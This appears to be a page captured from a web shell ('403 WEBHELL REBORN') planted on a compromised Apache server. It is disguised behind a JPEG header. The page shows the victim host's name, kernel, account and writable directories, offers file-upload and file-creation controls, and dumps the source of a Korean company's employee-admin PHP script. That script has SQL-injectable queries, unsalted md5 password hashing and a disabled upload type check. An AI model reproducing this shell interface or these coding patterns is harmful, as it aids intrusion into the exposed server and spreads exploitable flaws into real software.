ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/intra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/intra/admin_setting_proc.php
<?
include "../include/top_proc.html"; //공통파일 인클루드
include "_common.php";

// 접근권한 관리
to_access_menu("insa");

//테이블
$table = "TB_MEMBER";
$upload = "../../FileData/emp/"; 

//처리 모드
if($SqlType=="admin_write") { //저장

	//필수값 체크
	if(!$mb_id or !$mb_nm or !$mb_pwd or !$mb_level) exit;

	// 비밀번호 암호화
	$mb_pwd=md5(trim($mb_pwd));

	// 업로드
	if($_FILES['emp_img']['name']) {
		$image_ext = str_replace(",", "|", $cf['image_ext']);
		/*if (!preg_match("/\.($image_ext)$/i", $HTTP_POST_FILES['emp_img']['name'])) {
			error_msg("확장가가 {$cf[image_ext]}인 이미지 파일만 올려주세요.");
		}*/

		//이미지 업로드
		$up_img = @FileUploadName( "", $upload, $_FILES['emp_img']['tmp_name'], $_FILES['emp_img']['name'] ,"");//파일 업로드
	}


	//중복 체크
	$sql = "select count(*) as cnt from {$table} where mb_id='{$mb_id}' ";
	$data = db_fetch($sql);

	if($data['cnt'] > 0) error_msg("중복된 아이디가 있습니다.");

	//저장
	$sql = "insert into {$table} set mb_id='{$mb_id}', mb_nm='{$mb_nm}',mb_gend='{$mb_gend}',mb_birth='{$mb_birth}',mb_birth_sm='{$mb_birth_sm}', mb_email='{$mb_email}', mb_tel='{$mb_tel}', bz_nat='{$bz_nat}' ,mb_pwd='{$mb_pwd}' ,mb_level='{$mb_level}', employee_no = '{$employee_no}', ins_dt=now()";
	$sql .= " ,emp_img='{$up_img}' ,emp_brench_cd='{$emp_brench_cd}' ,emp_depart_cd='{$emp_depart_cd}' ,emp_rank_cd='{$emp_rank_cd}' ,emp_incid_dt='{$emp_incid_dt}' ,emp_ret_dt='{$emp_ret_dt}', emp_text='{$emp_text}' ";

	db_query($sql);

	error_msg("parent.document.location.reload();","script");
}elseif($SqlType=="admin_edit"){ //수정
	
	//필수값 체크
	if( !$seq or !$mb_level) exit;

	// 회원정보
	$data = member_fetch(" and seq='{$seq}' ");
	$row = $data[0];

	// 비밀번호 암호화
	$sql_pwd="";
	if($mb_pwd and $mb_pwd_change=="Y") {
		$mb_pwd=md5(trim($mb_pwd));
		$sql_pwd = ",mb_pwd='{$mb_pwd}'";		
	}
	
	// 삭제
	if ( $del_flag != "Y" ) $del_flag="N";

	// 이미지 삭제
	if($emp_img_del=="Y") {
		@unlink($upload.$row['emp_img']);
		$sql = "update {$table} set emp_img='' where seq='{$seq}'";
		db_query($sql);
	}

	// 업로드
	if($_FILES['emp_img']['name']) {
		// 기존 이미지 삭제
		@unlink($upload.$row['emp_img']);
		//이미지 업로드
		$up_img = @FileUploadName( "", $upload, $_FILES['emp_img']['tmp_name'], $_FILES['emp_img']['name'] ,"");//파일 업로드
		$sql = "update {$table} set emp_img='{$up_img}' where seq='{$seq}'";
		db_query($sql);
	}

	//수정
	$sql = "update $table set mb_nm='{$mb_nm}' , mb_gend='{$mb_gend}', mb_birth='{$mb_birth}',mb_birth_sm='{$mb_birth_sm}', mb_email='{$mb_email}', mb_tel='{$mb_tel}', bz_nat='{$bz_nat}' {$sql_pwd} ,mb_level='{$mb_level}'  ";
	$sql .= ",emp_brench_cd='{$emp_brench_cd}' ,emp_depart_cd='{$emp_depart_cd}' ,emp_rank_cd='{$emp_rank_cd}' ,emp_incid_dt='{$emp_incid_dt}' ,emp_ret_dt='{$emp_ret_dt}', emp_text='{$emp_text}',emp_vacation_days='{$emp_vacation_days}',emp_target_revenue='{$emp_target_revenue}',mb_address1='{$mb_address1}',del_flag='{$del_flag}', employee_no = '{$employee_no}' ";
	$sql .= " where seq='{$seq}' ";

	db_query($sql);

	error_msg("document.location.href='admin_setting_write.html?seq={$seq}'; alert('저장되었습니다.');","script");
}elseif($SqlType=="admin_delete"){ //삭제
	//필수값 체크
	if(!$seq) exit;
	
	//삭제
	$sql = "delete from $table where seq='{$seq}' ";
	
	db_query($sql);
	
	error_msg("document.location.reload()","script");

// 아이디 체크
}elseif($SqlType=="id_check"){ 
	
	if (!$mb_id_chk) error_msg("check_id()","script");

	$is_emp="false"; // 아이디 사용 불가

	//중복 체크
	$sql = "select count(*) as cnt from {$table} where mb_id='{$mb_id_chk}' ";
	$data = db_fetch($sql);

	if($data['cnt'] == 0) $is_emp = "true"; // 아이디 사용 가능

	error_msg("check_id('{$mb_id_chk}','{$is_emp}')","script");

// 아이메뉴 변경
}elseif($SqlType=="menu_edit"){
	
	if (!$seq) exit;

	// 주메뉴
	for($i=0,$j=1 ; $i < count($menu_arr) ; $i++,$j++){
		$menu_str .= $menu_arr[$i];
		// 부메뉴
		$smenu_str = "";
		if ( is_array(${$menu_arr[$i]."_arr"}) ) {
			$arr = ${$menu_arr[$i]."_arr"};
			for($k=0,$s=1 ; $k < count($arr) ; $k++,$s++){
				$smenu_str .= $arr[$k];
				if ( $s < count($arr)  ) {
					$smenu_str .= "|";
				}
			}
			if ( $smenu_str ) $menu_str .= "=".$smenu_str;
		}
		if ( $j < count($menu_arr)  ) {
			$menu_str .= ",";
		}
	}
	
	$sql = "update {$table} set emp_menu='{$menu_str}' where seq='{$seq}'";

	db_query($sql);
	exit;
}

?>

Anon7 - 2021